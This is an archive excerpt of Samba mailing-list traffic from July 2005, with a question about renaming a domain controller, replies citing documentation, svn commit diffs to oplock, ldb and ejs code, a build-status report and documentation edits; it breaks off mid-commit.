-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 Assuming they exist, could someone point me to any resources that could assist me in renaming a Samba PDC's hostname and the domain it serves remotely *without* forcing the client workstations to have to manually-rejoin? If such things do not exist, 1) what effects should I expect in undertaking such an action, and 2) is there a standard procedure for the steps that I should take on the workstations to make the effort go as smoothly as possible? Thanks! - -- Anthony Chavez http://anthonychavez.org/ mailto:[EMAIL PROTECTED] jabber:[EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (Darwin) iQEVAwUBQtlq/vAIdTFWAbdTAQqIxAf+PFrePCfi1IgLVAIyBRFLTIeplRR3QHC3 deJ4r1Hqt0N0+EDxKhCJbJaC/+puHJeiwCJyr/9o5rSh05KS+uJSjRnRHbn5Q9rd 1qRzwcQJiAQDI6YngBA9iOSK+Wrzx9pGG4p2YT8JiWxxTzLVho0ea25Q6IFXjir+ l78nrKBtrIsHwf4q2h1IMHU6sC0A4ypism+aQDu3TWnuKGwbwFE71EiHwGcEHRuT YukAs/Q7XoFyFU1rJkpmCY3jXtlwuxqtoS0jgjXxdWE8xlwOeaTFtyfi/kQSWhOA 8otEwiVyWyKqnxxSdGMrzsDYrDTAJkfob1tNdt//2TH2vO98dGkDvg== =dFfz -END PGP SIGNATURE- -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
[Samba] Re: Renaming a PDC hostname/domain remotely
-BEGIN PGP SIGNED MESSAGE- Hash: SHA512 On Sat, 16 Jul 2005 14:15:55 -0600 Anthony Chavez [EMAIL PROTECTED] wrote: Assuming they exist, could someone point me to any resources that could assist me in renaming a Samba PDC's hostname and the domain it serves remotely *without* forcing the client workstations to have to manually-rejoin? Along those lines, does Samba generate a domain SID based on the name of that domain? Or could I rename the domain by manually changing the name but retaining the SID? And if I'm using passdb backend = tdbsam, in which files would I need to do this? If such things do not exist, 1) what effects should I expect in undertaking such an action, and 2) is there a standard procedure for the steps that I should take on the workstations to make the effort go as smoothly as possible? Thanks again! - -- Anthony Chavez http://anthonychavez.org/ mailto:[EMAIL PROTECTED] jabber:[EMAIL PROTECTED] -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.0 (Darwin) iQEVAwUBQtlsS/AIdTFWAbdTAQr2sQf/cAMvHi4flyBBMdR3sto8pCNk1ctjOdBI k5XhafOKueTdJ56fnxO1rfmIiqb5MBFPYI3fQLsHb3XHon5OqBOhJy77Av4se4Kg qsXcx7fNjJ69Zy4pqLWz+TFqXkflOuQBr0N+dqFxInwNlXd+rDYZx3EWX0d2+GMm MMiPc3Cu51HjJLRnFrYBG2q7wM1UXqIVH5w5anRrdsHE0/I+cky0vIDGxtFZwNtg RHly1ZHoqkEy7lXRlRJtKAqX24VptiFpWKIcsP/SB3dN7N2/yEUPkyfAIh45I4PV dBPnBGn7Xo6PlHjOmIxzD9OXxZOZpdpV63hG6f7eWHnAxSBSbyh3sg== =Abpr -END PGP SIGNATURE- -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
Re: [Samba] Renaming a PDC hostname/domain remotely
On Saturday 16 July 2005 14:15, Anthony Chavez wrote: Assuming they exist, could someone point me to any resources that could assist me in renaming a Samba PDC's hostname and the domain it serves remotely *without* forcing the client workstations to have to manually-rejoin? If such things do not exist, 1) what effects should I expect in undertaking such an action, and 2) is there a standard procedure for the steps that I should take on the workstations to make the effort go as smoothly as possible? http://www.samba.org/samba/docs/Samba3-ByExample.pdf Chapter 8. Enjoy! - John T. -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
Re: [Samba] Re: Renaming a PDC hostname/domain remotely
On Saturday 16 July 2005 14:21, Anthony Chavez wrote: On Sat, 16 Jul 2005 14:15:55 -0600 Anthony Chavez [EMAIL PROTECTED] wrote: Assuming they exist, could someone point me to any resources that could assist me in renaming a Samba PDC's hostname and the domain it serves remotely *without* forcing the client workstations to have to manually-rejoin? Along those lines, does Samba generate a domain SID based on the name of that domain? Or could I rename the domain by manually changing the name but retaining the SID? And if I'm using passdb backend = tdbsam, in which files would I need to do this? If such things do not exist, 1) what effects should I expect in undertaking such an action, and 2) is there a standard procedure for the steps that I should take on the workstations to make the effort go as smoothly as possible? Thanks again! See the book: Samba-3 by Example, Chapter 8. If this information is not sufficient please email me. - John T. -- To unsubscribe from this list go to the following URL and read the instructions: https://lists.samba.org/mailman/listinfo/samba
svn commit: samba r8512 - in trunk/source: include smbd
Author: vlendec
Date: 2005-07-16 09:09:19 + (Sat, 16 Jul 2005)
New Revision: 8512
WebSVN: http://websvn.samba.org/cgi-bin/viewcvs.cgi?view=revroot=sambarev=8512
Log:
Jeremy, I did not see a distinction between LEVEL_II_OPLOCK_BREAK_CMD and
OPLOCK_BREAK_CMD anywhere in the code. This removes LEVEL_II_OPLOCK_BREAK_CMD.
I'm sure you will take a close look at this... :-)
Thanks,
Volker
Modified:
trunk/source/include/smb.h
trunk/source/smbd/oplock.c
Changeset:
Modified: trunk/source/include/smb.h
===
--- trunk/source/include/smb.h 2005-07-16 01:02:17 UTC (rev 8511)
+++ trunk/source/include/smb.h 2005-07-16 09:09:19 UTC (rev 8512)
@@ -1511,7 +1511,6 @@
/* Message types */
#define OPLOCK_BREAK_CMD 0x1
#define KERNEL_OPLOCK_BREAK_CMD 0x2
-#define LEVEL_II_OPLOCK_BREAK_CMD 0x3
#define ASYNC_LEVEL_II_OPLOCK_BREAK_CMD 0x4
/* Add the deferred open message. */
Modified: trunk/source/smbd/oplock.c
===
--- trunk/source/smbd/oplock.c 2005-07-16 01:02:17 UTC (rev 8511)
+++ trunk/source/smbd/oplock.c 2005-07-16 09:09:19 UTC (rev 8512)
@@ -381,7 +381,6 @@
break;
case OPLOCK_BREAK_CMD:
- case LEVEL_II_OPLOCK_BREAK_CMD:
case ASYNC_LEVEL_II_OPLOCK_BREAK_CMD:
/* Ensure that the msg length is correct. */
@@ -483,8 +482,7 @@
* case.
*/
- if (!((break_cmd_type == OPLOCK_BREAK_CMD) ||
- (break_cmd_type == LEVEL_II_OPLOCK_BREAK_CMD))) {
+ if (break_cmd_type != OPLOCK_BREAK_CMD) {
return True;
}
@@ -997,7 +995,6 @@
SMB_DEV_T dev = share_entry-dev;
SMB_INO_T inode = share_entry-inode;
unsigned long file_id = share_entry-share_file_id;
- uint16 break_cmd_type;
if(pid == share_entry-pid) {
/* We are breaking our own oplock, make sure it's us. */
@@ -1027,13 +1024,7 @@
/* We need to send a OPLOCK_BREAK_CMD message to the port in the share
mode entry. */
- if (LEVEL_II_OPLOCK_TYPE(share_entry-op_type)) {
- break_cmd_type = LEVEL_II_OPLOCK_BREAK_CMD;
- } else {
- break_cmd_type = OPLOCK_BREAK_CMD;
- }
-
- SSVAL(op_break_msg,OPBRK_MESSAGE_CMD_OFFSET,break_cmd_type);
+ SSVAL(op_break_msg,OPBRK_MESSAGE_CMD_OFFSET,OPLOCK_BREAK_CMD);
memcpy(op_break_msg+OPLOCK_BREAK_PID_OFFSET,(char *)pid,sizeof(pid));
memcpy(op_break_msg+OPLOCK_BREAK_DEV_OFFSET,(char *)dev,sizeof(dev));
memcpy(op_break_msg+OPLOCK_BREAK_INODE_OFFSET,(char
*)inode,sizeof(inode));
@@ -1119,7 +1110,7 @@
* Test to see if this is the reply we are awaiting (ie. the
one we sent with the CMD_REPLY flag OR'ed in).
*/
if((SVAL(reply_msg_start,OPBRK_MESSAGE_CMD_OFFSET) CMD_REPLY)
- ((SVAL(reply_msg_start,OPBRK_MESSAGE_CMD_OFFSET)
~CMD_REPLY) == break_cmd_type)
+ ((SVAL(reply_msg_start,OPBRK_MESSAGE_CMD_OFFSET)
~CMD_REPLY) == OPLOCK_BREAK_CMD)
(reply_from_port == share_entry-op_port)
(memcmp(reply_msg_start[OPLOCK_BREAK_PID_OFFSET],
op_break_msg[OPLOCK_BREAK_PID_OFFSET],
OPLOCK_BREAK_MSG_LEN - OPLOCK_BREAK_PID_OFFSET)
== 0)) {
svn commit: samba r8513 - in trunk/source: include smbd
Author: vlendec
Date: 2005-07-16 09:56:05 + (Sat, 16 Jul 2005)
New Revision: 8513
WebSVN: http://websvn.samba.org/cgi-bin/viewcvs.cgi?view=revroot=sambarev=8513
Log:
Feed Jeremy's paranoia -- back out the last patch :-)
Thanks,
Volker
Modified:
trunk/source/include/smb.h
trunk/source/smbd/oplock.c
Changeset:
Modified: trunk/source/include/smb.h
===
--- trunk/source/include/smb.h 2005-07-16 09:09:19 UTC (rev 8512)
+++ trunk/source/include/smb.h 2005-07-16 09:56:05 UTC (rev 8513)
@@ -1511,6 +1511,7 @@
/* Message types */
#define OPLOCK_BREAK_CMD 0x1
#define KERNEL_OPLOCK_BREAK_CMD 0x2
+#define LEVEL_II_OPLOCK_BREAK_CMD 0x3
#define ASYNC_LEVEL_II_OPLOCK_BREAK_CMD 0x4
/* Add the deferred open message. */
Modified: trunk/source/smbd/oplock.c
===
--- trunk/source/smbd/oplock.c 2005-07-16 09:09:19 UTC (rev 8512)
+++ trunk/source/smbd/oplock.c 2005-07-16 09:56:05 UTC (rev 8513)
@@ -381,6 +381,7 @@
break;
case OPLOCK_BREAK_CMD:
+ case LEVEL_II_OPLOCK_BREAK_CMD:
case ASYNC_LEVEL_II_OPLOCK_BREAK_CMD:
/* Ensure that the msg length is correct. */
@@ -482,7 +483,8 @@
* case.
*/
- if (break_cmd_type != OPLOCK_BREAK_CMD) {
+ if (!((break_cmd_type == OPLOCK_BREAK_CMD) ||
+ (break_cmd_type == LEVEL_II_OPLOCK_BREAK_CMD))) {
return True;
}
@@ -995,6 +997,7 @@
SMB_DEV_T dev = share_entry-dev;
SMB_INO_T inode = share_entry-inode;
unsigned long file_id = share_entry-share_file_id;
+ uint16 break_cmd_type;
if(pid == share_entry-pid) {
/* We are breaking our own oplock, make sure it's us. */
@@ -1024,7 +1027,13 @@
/* We need to send a OPLOCK_BREAK_CMD message to the port in the share
mode entry. */
- SSVAL(op_break_msg,OPBRK_MESSAGE_CMD_OFFSET,OPLOCK_BREAK_CMD);
+ if (LEVEL_II_OPLOCK_TYPE(share_entry-op_type)) {
+ break_cmd_type = LEVEL_II_OPLOCK_BREAK_CMD;
+ } else {
+ break_cmd_type = OPLOCK_BREAK_CMD;
+ }
+
+ SSVAL(op_break_msg,OPBRK_MESSAGE_CMD_OFFSET,break_cmd_type);
memcpy(op_break_msg+OPLOCK_BREAK_PID_OFFSET,(char *)pid,sizeof(pid));
memcpy(op_break_msg+OPLOCK_BREAK_DEV_OFFSET,(char *)dev,sizeof(dev));
memcpy(op_break_msg+OPLOCK_BREAK_INODE_OFFSET,(char
*)inode,sizeof(inode));
@@ -1110,7 +1119,7 @@
* Test to see if this is the reply we are awaiting (ie. the
one we sent with the CMD_REPLY flag OR'ed in).
*/
if((SVAL(reply_msg_start,OPBRK_MESSAGE_CMD_OFFSET) CMD_REPLY)
- ((SVAL(reply_msg_start,OPBRK_MESSAGE_CMD_OFFSET)
~CMD_REPLY) == OPLOCK_BREAK_CMD)
+ ((SVAL(reply_msg_start,OPBRK_MESSAGE_CMD_OFFSET)
~CMD_REPLY) == break_cmd_type)
(reply_from_port == share_entry-op_port)
(memcmp(reply_msg_start[OPLOCK_BREAK_PID_OFFSET],
op_break_msg[OPLOCK_BREAK_PID_OFFSET],
OPLOCK_BREAK_MSG_LEN - OPLOCK_BREAK_PID_OFFSET)
== 0)) {
svn commit: samba r8514 - in branches/SAMBA_4_0/source/ldap_server/devdocs: .
Author: idra Date: 2005-07-16 16:12:14 + (Sat, 16 Jul 2005) New Revision: 8514 WebSVN: http://websvn.samba.org/cgi-bin/viewcvs.cgi?view=revroot=sambarev=8514 Log: add docs Added: branches/SAMBA_4_0/source/ldap_server/devdocs/rfc2251.txt Changeset: Sorry, the patch is too large (2808 lines) to include; please use WebSVN to see it! WebSVN: http://websvn.samba.org/cgi-bin/viewcvs.cgi?view=revroot=sambarev=8514
svn commit: samba r8515 - in branches/SAMBA_4_0/source/lib/ldb: common include tools
Author: idra
Date: 2005-07-16 18:16:32 + (Sat, 16 Jul 2005)
New Revision: 8515
WebSVN: http://websvn.samba.org/cgi-bin/viewcvs.cgi?view=revroot=sambarev=8515
Log:
ldb_dn_cmp now uses ldb_dn_compare so that the DNs are compared
on a content level not ona form level, his means that the 2 DNs:
a) cn= user, dc=this, dc = is,dc=test
b) cn=user,dc=this,dc=is,dc=test
are now identical even if the string form differ (spaces)
Modified:
branches/SAMBA_4_0/source/lib/ldb/common/ldb_dn.c
branches/SAMBA_4_0/source/lib/ldb/common/ldb_utf8.c
branches/SAMBA_4_0/source/lib/ldb/include/ldb.h
branches/SAMBA_4_0/source/lib/ldb/tools/ldbedit.c
branches/SAMBA_4_0/source/lib/ldb/tools/ldbsearch.c
Changeset:
Modified: branches/SAMBA_4_0/source/lib/ldb/common/ldb_dn.c
===
--- branches/SAMBA_4_0/source/lib/ldb/common/ldb_dn.c 2005-07-16 16:12:14 UTC
(rev 8514)
+++ branches/SAMBA_4_0/source/lib/ldb/common/ldb_dn.c 2005-07-16 18:16:32 UTC
(rev 8515)
@@ -450,6 +450,29 @@
return ldb_dn_compare_base(ldb, edn0, edn1);
}
+int ldb_dn_cmp(struct ldb_context *ldb, const char *dn0, const char *dn1)
+{
+ struct ldb_dn *edn0;
+ struct ldb_dn *edn1;
+ int ret;
+
+ edn0 = ldb_dn_explode_casefold(ldb, dn0);
+ if (edn0 == NULL) return 0;
+
+ edn1 = ldb_dn_explode_casefold(ldb, dn1);
+ if (edn1 == NULL) {
+ talloc_free(edn0);
+ return 0;
+ }
+
+ ret = ldb_dn_compare(ldb, edn0, edn1);
+
+ talloc_free(edn0);
+ talloc_free(edn1);
+
+ return ret;
+}
+
/*
casefold a dn. We need to casefold the attribute names, and canonicalize
attribute values of case insensitive attributes.
Modified: branches/SAMBA_4_0/source/lib/ldb/common/ldb_utf8.c
===
--- branches/SAMBA_4_0/source/lib/ldb/common/ldb_utf8.c 2005-07-16 16:12:14 UTC
(rev 8514)
+++ branches/SAMBA_4_0/source/lib/ldb/common/ldb_utf8.c 2005-07-16 18:16:32 UTC
(rev 8515)
@@ -73,15 +73,6 @@
}
/*
- compare two basedn fields
- return 0 for match
-*/
-int ldb_dn_cmp(const char *dn1, const char *dn2)
-{
- return ldb_caseless_cmp(dn1, dn2);
-}
-
-/*
compare two attributes
return 0 for match
*/
Modified: branches/SAMBA_4_0/source/lib/ldb/include/ldb.h
===
--- branches/SAMBA_4_0/source/lib/ldb/include/ldb.h 2005-07-16 16:12:14 UTC
(rev 8514)
+++ branches/SAMBA_4_0/source/lib/ldb/include/ldb.h 2005-07-16 18:16:32 UTC
(rev 8515)
@@ -335,7 +335,7 @@
/* useful functions for ldb_message structure manipulation */
-int ldb_dn_cmp(const char *dn1, const char *dn2);
+int ldb_dn_cmp(struct ldb_context *ldb, const char *dn1, const char *dn2);
int ldb_attr_cmp(const char *dn1, const char *dn2);
/* case-fold a DN */
Modified: branches/SAMBA_4_0/source/lib/ldb/tools/ldbedit.c
===
--- branches/SAMBA_4_0/source/lib/ldb/tools/ldbedit.c 2005-07-16 16:12:14 UTC
(rev 8514)
+++ branches/SAMBA_4_0/source/lib/ldb/tools/ldbedit.c 2005-07-16 18:16:32 UTC
(rev 8515)
@@ -93,12 +93,14 @@
/*
find dn in msgs[]
*/
-static struct ldb_message *msg_find(struct ldb_message **msgs, int count,
+static struct ldb_message *msg_find(struct ldb_context *ldb,
+ struct ldb_message **msgs,
+ int count,
const char *dn)
{
int i;
for (i=0;icount;i++) {
- if (ldb_dn_cmp(dn, msgs[i]-dn) == 0) {
+ if (ldb_dn_cmp(ldb, dn, msgs[i]-dn) == 0) {
return msgs[i];
}
}
@@ -119,7 +121,7 @@
/* do the adds and modifies */
for (i=0;icount2;i++) {
- msg = msg_find(msgs1, count1, msgs2[i]-dn);
+ msg = msg_find(ldb, msgs1, count1, msgs2[i]-dn);
if (!msg) {
if (options-verbose 0) {
ldif_write_msg(ldb, stdout, LDB_CHANGETYPE_ADD,
msgs2[i]);
@@ -139,7 +141,7 @@
/* do the deletes */
for (i=0;icount1;i++) {
- msg = msg_find(msgs2, count2, msgs1[i]-dn);
+ msg = msg_find(ldb, msgs2, count2, msgs1[i]-dn);
if (!msg) {
if (options-verbose 0) {
ldif_write_msg(ldb, stdout,
LDB_CHANGETYPE_DELETE, msgs1[i]);
Modified: branches/SAMBA_4_0/source/lib/ldb/tools/ldbsearch.c
===
--- branches/SAMBA_4_0/source/lib/ldb/tools/ldbsearch.c 2005-07-16 16:12:14 UTC
(rev 8514)
+++ branches/SAMBA_4_0/source/lib/ldb/tools/ldbsearch.c 2005-07-16 18:16:32 UTC
(rev 8515)
@@ -55,10 +55,12 @@
exit(1);
}
+struct ldb_context *ldbsearch_ldb;
+
static int
svn commit: samba r8516 - in branches/SAMBA_4_0/source/scripting/ejs: .
Author: idra
Date: 2005-07-16 18:17:08 + (Sat, 16 Jul 2005)
New Revision: 8516
WebSVN: http://websvn.samba.org/cgi-bin/viewcvs.cgi?view=revroot=sambarev=8516
Log:
let us use all parameters of ldbsearch in ldb.search
Modified:
branches/SAMBA_4_0/source/scripting/ejs/smbcalls_ldb.c
Changeset:
Modified: branches/SAMBA_4_0/source/scripting/ejs/smbcalls_ldb.c
===
--- branches/SAMBA_4_0/source/scripting/ejs/smbcalls_ldb.c 2005-07-16
18:16:32 UTC (rev 8515)
+++ branches/SAMBA_4_0/source/scripting/ejs/smbcalls_ldb.c 2005-07-16
18:17:08 UTC (rev 8516)
@@ -44,22 +44,26 @@
res = ldb.search(expression);
var attrs = new Array(attr1, attr2, attr3);
ldb.search(expression, attrs);
+ var basedn = cn=this,dc=is,dc=a,dc=test;
+ ldb.search(expression, attrs, ldb.SCOPE_SUBTREE, basedn);
*/
static int ejs_ldbSearch(MprVarHandle eid, int argc, struct MprVar **argv)
{
const char **attrs = NULL;
const char *expression;
+ const char *basedn = NULL;
+ int scope = LDB_SCOPE_DEFAULT;
TALLOC_CTX *tmp_ctx = talloc_new(mprMemCtx());
struct ldb_context *ldb;
int ret;
struct ldb_message **res;
/* validate arguments */
- if (argc 1 || argc 2) {
- ejsSetErrorMsg(eid, ldb.search invalid arguments);
+ if (argc 1 || argc 4) {
+ ejsSetErrorMsg(eid, ldb.search invalid number of arguments);
goto failed;
}
- if (argc == 2 argv[1]-type != MPR_TYPE_OBJECT) {
+ if (argc 3 argv[3]-type != MPR_TYPE_OBJECT) {
ejsSetErrorMsg(eid, ldb.search attributes must be an object);
goto failed;
}
@@ -71,14 +75,30 @@
expression = mprToString(argv[0]);
if (expression == NULL) {
- ejsSetErrorMsg(eid, ldb.search invalid arguments);
+ ejsSetErrorMsg(eid, ldb.search invalid expression);
goto failed;
}
- if (argc == 2) {
- attrs = mprToList(tmp_ctx, argv[1]);
+ if (argc 1) {
+ basedn = mprToString(argv[1]);
+ /* a null basedn is valid */
}
-
- ret = ldb_search(ldb, NULL, LDB_SCOPE_DEFAULT, expression, attrs, res);
+ if (argc 2) {
+ scope = mprToInt(argv[2]);
+ switch (scope) {
+ case LDB_SCOPE_DEFAULT:
+ case LDB_SCOPE_BASE:
+ case LDB_SCOPE_ONELEVEL:
+ case LDB_SCOPE_SUBTREE:
+ break; /* ok */
+ default:
+ ejsSetErrorMsg(eid, ldb.search invalid scope);
+ goto failed;
+ }
+ }
+ if (argc 3) {
+ attrs = mprToList(tmp_ctx, argv[3]);
+ }
+ ret = ldb_search(ldb, basedn, scope, expression, attrs, res);
if (ret == -1) {
ejsSetErrorMsg(eid, ldb.search failed - %s,
ldb_errstring(ldb));
mpr_Return(eid, mprCreateUndefinedVar());
@@ -261,6 +281,9 @@
mprSetCFunction(ldb, modify, ejs_ldbModify);
mprSetCFunction(ldb, delete, ejs_ldbDelete);
mprSetCFunction(ldb, rename, ejs_ldbRename);
+ mprSetVar(ldb, SCOPE_BASE, mprCreateNumberVar(LDB_SCOPE_BASE));
+ mprSetVar(ldb, SCOPE_ONE, mprCreateNumberVar(LDB_SCOPE_ONELEVEL));
+ mprSetVar(ldb, SCOPE_SUBTREE, mprCreateNumberVar(LDB_SCOPE_SUBTREE));
return 0;
}
Build status as of Sun Jul 17 00:00:01 2005
URL: http://build.samba.org/ --- /home/build/master/cache/broken_results.txt.old 2005-07-16 00:00:32.0 + +++ /home/build/master/cache/broken_results.txt 2005-07-17 00:00:07.0 + @@ -1,4 +1,4 @@ -Build status as of Sat Jul 16 00:00:02 2005 +Build status as of Sun Jul 17 00:00:01 2005 Build counts: Tree Total Broken Panic @@ -12,5 +12,5 @@ samba_3_037 8 0 smb-build33 6 0 talloc 35 14 0 -tdb 36 18 0 +tdb 36 17 0
svn commit: samba-docs r783 - in trunk/smbdotconf/logon: .
Author: jht Date: 2005-07-17 05:46:16 + (Sun, 17 Jul 2005) New Revision: 783 WebSVN: http://websvn.samba.org/cgi-bin/viewcvs.cgi?view=revroot=samba-docsrev=783 Log: More documentation regarding disabling of roamin profile paraphenalia. Modified: trunk/smbdotconf/logon/logondrive.xml trunk/smbdotconf/logon/logonhome.xml trunk/smbdotconf/logon/logonpath.xml Changeset: Modified: trunk/smbdotconf/logon/logondrive.xml === --- trunk/smbdotconf/logon/logondrive.xml 2005-07-13 19:20:22 UTC (rev 782) +++ trunk/smbdotconf/logon/logondrive.xml 2005-07-17 05:46:16 UTC (rev 783) @@ -4,12 +4,15 @@ advanced=1 developer=1 xmlns:samba=http://www.samba.org/samba/DTD/samba-doc; description - paraThis parameter specifies the local path to - which the home directory will be connected (see smbconfoption name=logon home/) - and is only used by NT Workstations. /para + para + This parameter specifies the local path to which the home directory will be + connected (see smbconfoption name=logon home/) and is only used by NT + Workstations. + /para - paraNote that this option is only useful if Samba is set up as a - logon server./para + para + Note that this option is only useful if Samba is set up as a logon server. + /para /description value type=defaultz:/value value type=exampleh:/value Modified: trunk/smbdotconf/logon/logonhome.xml === --- trunk/smbdotconf/logon/logonhome.xml2005-07-13 19:20:22 UTC (rev 782) +++ trunk/smbdotconf/logon/logonhome.xml2005-07-17 05:46:16 UTC (rev 783) @@ -4,39 +4,52 @@ advanced=1 developer=1 xmlns:samba=http://www.samba.org/samba/DTD/samba-doc; description - paraThis parameter specifies the home directory - location when a Win95/98 or NT Workstation logs into a Samba PDC. - It allows you to do /para + para + This parameter specifies the home directory location when a Win95/98 or NT Workstation logs into a Samba PDC. + It allows you to do + /para - paraprompt moreinfo=noneC:\gt;/prompt - userinput moreinfo=noneNET USE H: /HOME/userinput + para + prompt moreinfo=noneC:\gt;/promptuserinput moreinfo=noneNET USE H: /HOME/userinput /para - parafrom a command prompt, for example./para + para + from a command prompt, for example. + /para - paraThis option takes the standard substitutions, allowing - you to have separate logon scripts for each user or machine./para + para + This option takes the standard substitutions, allowing you to have separate logon scripts for each user or machine. + /para - paraThis parameter can be used with Win9X workstations to ensure - that roaming profiles are stored in a subdirectory of the user's - home directory. This is done in the following way:/para + para + This parameter can be used with Win9X workstations to ensure that roaming profiles are stored in a + subdirectory of the user's home directory. This is done in the following way: + /para - paracommand moreinfo=nonelogon home = \\%N\%U\profile/command/para + para + command moreinfo=nonelogon home = \\%N\%U\profile/command + /para - paraThis tells Samba to return the above string, with - substitutions made when a client requests the info, generally - in a NetUserGetInfo request. Win9X clients truncate the info to - \\server\share when a user does command moreinfo=nonenet use /home/command - but use the whole string when dealing with profiles./para + para + This tells Samba to return the above string, with substitutions made when a client requests the info, generally + in a NetUserGetInfo request. Win9X clients truncate the info to \\server\share when a user does + command moreinfo=nonenet use /home/command but use the whole string when dealing with profiles. + /para - paraNote that in prior versions of Samba, the smbconfoption name=logon path/ was returned rather than - parameter moreinfo=nonelogon home/parameter. This broke command - moreinfo=nonenet use /home/command but allowed profiles outside the home directory. - The current implementation is correct, and can be used for profiles if you use - the above trick./para + para + Note that in prior versions of Samba, the smbconfoption name=logon path/ was returned rather than + parameter moreinfo=nonelogon home/parameter. This broke command moreinfo=nonenet use /home/command + but allowed profiles outside the home directory. The current implementation
